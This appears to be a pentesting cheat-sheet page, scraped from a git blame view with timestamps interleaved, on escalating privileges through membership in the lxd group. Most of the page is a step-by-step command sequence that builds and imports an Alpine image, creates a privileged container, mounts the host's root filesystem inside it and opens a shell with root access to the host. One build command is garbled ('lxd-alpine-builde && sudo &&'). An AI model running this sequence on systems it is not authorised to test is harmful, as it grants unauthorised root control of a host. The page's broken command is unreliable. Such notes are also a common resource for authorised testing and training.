2023-11-18 19:41:39 +01:00
|
|
|
# LXC
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
## Privilege Escalation
|
|
|
|
|
|
|
|
### Member of lxd Group
|
|
|
|
|
|
|
|
* [Hackingarticles article](https://www.hackingarticles.in/lxd-privilege-escalation/)
|
|
|
|
* User has to be in `lxd` group, not necessarily `sudo`.
|
|
|
|
|
|
|
|
#### Usage
|
2023-11-18 19:41:39 +01:00
|
|
|
|
|
|
|
* Clone and build
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
git clone https://github.com/saghul/lxd-alpine-builder.git
|
|
|
|
cd lxd-alpine-builde && sudo && ./build alpine
|
|
|
|
```
|
2023-11-18 19:41:39 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Upload to target
|
|
|
|
* Import alpine image
|
2023-11-18 19:41:39 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
|
|
|
|
```
|
2023-11-18 19:41:39 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Prepare image
|
2023-11-18 19:41:39 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```sh
|
|
|
|
lxc image list
|
|
|
|
lxc init myimage ignite -c security.privileged=true
|
|
|
|
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
|
|
|
|
lxc start ignite
|
|
|
|
lxc exec ignite /bin/sh
|
|
|
|
```
|
2023-11-18 19:41:39 +01:00
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Host `/` is mounted at `/mnt/root` inside the container
|
|
|
|
* `root` directory is at `/mnt/root/root`
|
|
|
|
|
2023-11-18 19:41:39 +01:00
|
|
|
## Errors
|
2022-11-13 22:38:01 +01:00
|
|
|
|
2023-11-18 19:41:39 +01:00
|
|
|
If you see errors like this
|
|
|
|
|
|
|
|
```sh
|
|
|
|
Error: No storage pool found. Please create a new storage pool
|
|
|
|
```
|
|
|
|
|
|
|
|
Remember to initialize the lxd via
|
|
|
|
|
|
|
|
```sh
|
|
|
|
lxd init
|
|
|
|
```
|